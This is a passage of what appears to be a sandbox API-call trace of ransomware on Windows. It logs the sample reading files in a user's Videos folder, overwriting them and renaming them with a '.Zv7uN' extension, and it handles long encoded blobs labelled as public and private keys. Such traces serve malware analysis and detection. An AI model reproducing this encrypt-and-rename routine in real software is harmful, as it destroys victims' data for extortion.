lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.793] GetCurrentThreadId () returned 0xa30 [0086.793] GetCurrentThreadId () returned 0xa30 [0086.793] GetCurrentThreadId () returned 0xa30 [0086.793] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RV4UFRM8.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rv4ufrm8.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0086.793] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0086.793] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0086.793] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x16986 [0086.793] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0086.793] ReadFile (in: hFile=0x124, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x16986, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x16986, lpOverlapped=0x0) returned 1 [0086.796] CloseHandle (hObject=0x124) returned 1 [0086.798] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RV4UFRM8.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rv4ufrm8.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0086.800] WriteFile (in: hFile=0x124, lpBuffer=0x1f08040*, nNumberOfBytesToWrite=0x16986, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f08040*, lpNumberOfBytesWritten=0x18f978*=0x16986, lpOverlapped=0x0) returned 1 [0086.805] CloseHandle (hObject=0x124) returned 1 [0086.807] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RV4UFRM8.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rv4ufrm8.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RV4UFRM8.flv.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rv4ufrm8.flv.zv7un")) returned 1 [0086.808] GetCurrentThreadId () returned 0xa30 [0086.808] GetCurrentThreadId () returned 0xa30 [0086.808] GetCurrentThreadId () returned 0xa30 [0086.808] GetCurrentThreadId () returned 0xa30 [0086.808] GetCurrentThreadId () returned 0xa30 [0086.809] GetCurrentThreadId () returned 0xa30 [0086.809] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76e35910, ftCreationTime.dwHighDateTime=0x1d5e2fa, ftLastAccessTime.dwLowDateTime=0x2160e520, ftLastAccessTime.dwHighDateTime=0x1d5e14c, ftLastWriteTime.dwLowDateTime=0x2160e520, ftLastWriteTime.dwHighDateTime=0x1d5e14c, nFileSizeHigh=0x0, nFileSizeLow=0x1ef6, dwReserved0=0xfcdde474, dwReserved1=0xba1113e9, cFileName="SzoFqVMTlfvxL3--V.flv", cAlternateFileName="SZOFQV~1.FLV")) returned 1 [0086.809] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0086.809] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0086.809] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\SzoFqVMTlfvxL3--V.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\szofqvmtlfvxl3--v.flv"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76e35910, ftCreationTime.dwHighDateTime=0x1d5e2fa, ftLastAccessTime.dwLowDateTime=0x2160e520, ftLastAccessTime.dwHighDateTime=0x1d5e14c, ftLastWriteTime.dwLowDateTime=0x2160e520, ftLastWriteTime.dwHighDateTime=0x1d5e14c, nFileSizeHigh=0x0, nFileSizeLow=0x1ef6)) returned 1 [0086.809] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\SzoFqVMTlfvxL3--V.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\szofqvmtlfvxl3--v.flv")) returned 0x20 [0086.809] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\SzoFqVMTlfvxL3--V.flv", dwFileAttributes=0x80) returned 1 [0086.811] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.811] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.812] GetCurrentThreadId () returned 0xa30 [0086.812] GetCurrentThreadId () returned 0xa30 [0086.812] GetCurrentThreadId () returned 0xa30 [0086.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.813] GetCurrentThreadId () returned 0xa30 [0086.813] GetCurrentThreadId () returned 0xa30 [0086.813] GetCurrentThreadId () returned 0xa30 [0086.813] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\SzoFqVMTlfvxL3--V.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\szofqvmtlfvxl3--v.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0086.814] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0086.814] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0086.814] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x1ef6 [0086.814] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0086.814] ReadFile (in: hFile=0x124, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x1ef6, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x1ef6, lpOverlapped=0x0) returned 1 [0086.816] CloseHandle (hObject=0x124) returned 1 [0086.816] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\SzoFqVMTlfvxL3--V.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\szofqvmtlfvxl3--v.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0086.818] WriteFile (in: hFile=0x124, lpBuffer=0x1ef2040*, nNumberOfBytesToWrite=0x1ef6, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1ef2040*, lpNumberOfBytesWritten=0x18f978*=0x1ef6, lpOverlapped=0x0) returned 1 [0086.821] CloseHandle (hObject=0x124) returned 1 [0086.828] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\SzoFqVMTlfvxL3--V.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\szofqvmtlfvxl3--v.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\SzoFqVMTlfvxL3--V.flv.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\szofqvmtlfvxl3--v.flv.zv7un")) returned 1 [0086.828] GetCurrentThreadId () returned 0xa30 [0086.829] GetCurrentThreadId () returned 0xa30 [0086.829] GetCurrentThreadId () returned 0xa30 [0086.829] GetCurrentThreadId () returned 0xa30 [0086.829] GetCurrentThreadId () returned 0xa30 [0086.829] GetCurrentThreadId () returned 0xa30 [0086.829] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76e35910, ftCreationTime.dwHighDateTime=0x1d5e2fa, ftLastAccessTime.dwLowDateTime=0x2160e520, ftLastAccessTime.dwHighDateTime=0x1d5e14c, ftLastWriteTime.dwLowDateTime=0x2160e520, ftLastWriteTime.dwHighDateTime=0x1d5e14c, nFileSizeHigh=0x0, nFileSizeLow=0x1ef6, 